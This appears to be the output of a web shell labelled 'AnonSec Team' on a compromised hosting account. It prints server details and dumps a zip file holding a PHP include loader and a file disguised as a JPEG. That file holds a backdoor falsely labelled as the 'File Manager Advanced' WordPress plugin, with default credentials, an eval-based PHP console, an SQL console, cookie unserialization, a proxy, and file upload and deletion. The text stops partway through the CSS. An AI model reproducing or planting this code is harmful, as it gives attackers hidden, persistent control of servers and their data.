AnonSec Team
Server IP : 198.54.120.203  /  Your IP : 216.73.216.181
Web Server : LiteSpeed
System : Linux premium58.web-hosting.com 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64
User : greakqsw ( 1698)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/greakqsw/theblogginglab.org/7648l2-20260310230235/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/greakqsw/theblogginglab.org/7648l2-20260310230235/l49y7z.zip
PK�:g\\9�:ss	index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "monactinellidan.php"; include("zip:///tmp/phptpd9aH#$h");?>PK�jm\��Ǵq7q7	oiq2p.phpnu�[���ÿØÿà JFIF      ÿÛ C      

	!"$"$ÿÛ C  ÿÀ  ° ÿÄ            	

ÿÄ µ   } !1AQa "q2‘¡#B±ÁRÑð$3br‚	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚáâãäåæçèéêñòóôõö÷øùúÿÄ         	

ÿÄ µ   w !1AQ aq"2B‘¡±Á	#3RðbrÑ
$4á%ñ&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚâãäåæçèéêòóôõö÷øùúÿÚ   ? ȏN
<?php
/**
  Plugin Name: File Manager Advanced
  Plugin URI: https://wordpress.org/plugins/file-manager-advanced
  Description: Cpanel for files management in wordpress
  Author: modalweb
  Version: 5.2.12
  Author URI: https://advancedfilemanager.com
  License: GPLv2
**/
/**
 * Loading constants
 */

// Configuration — do not change manually!

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
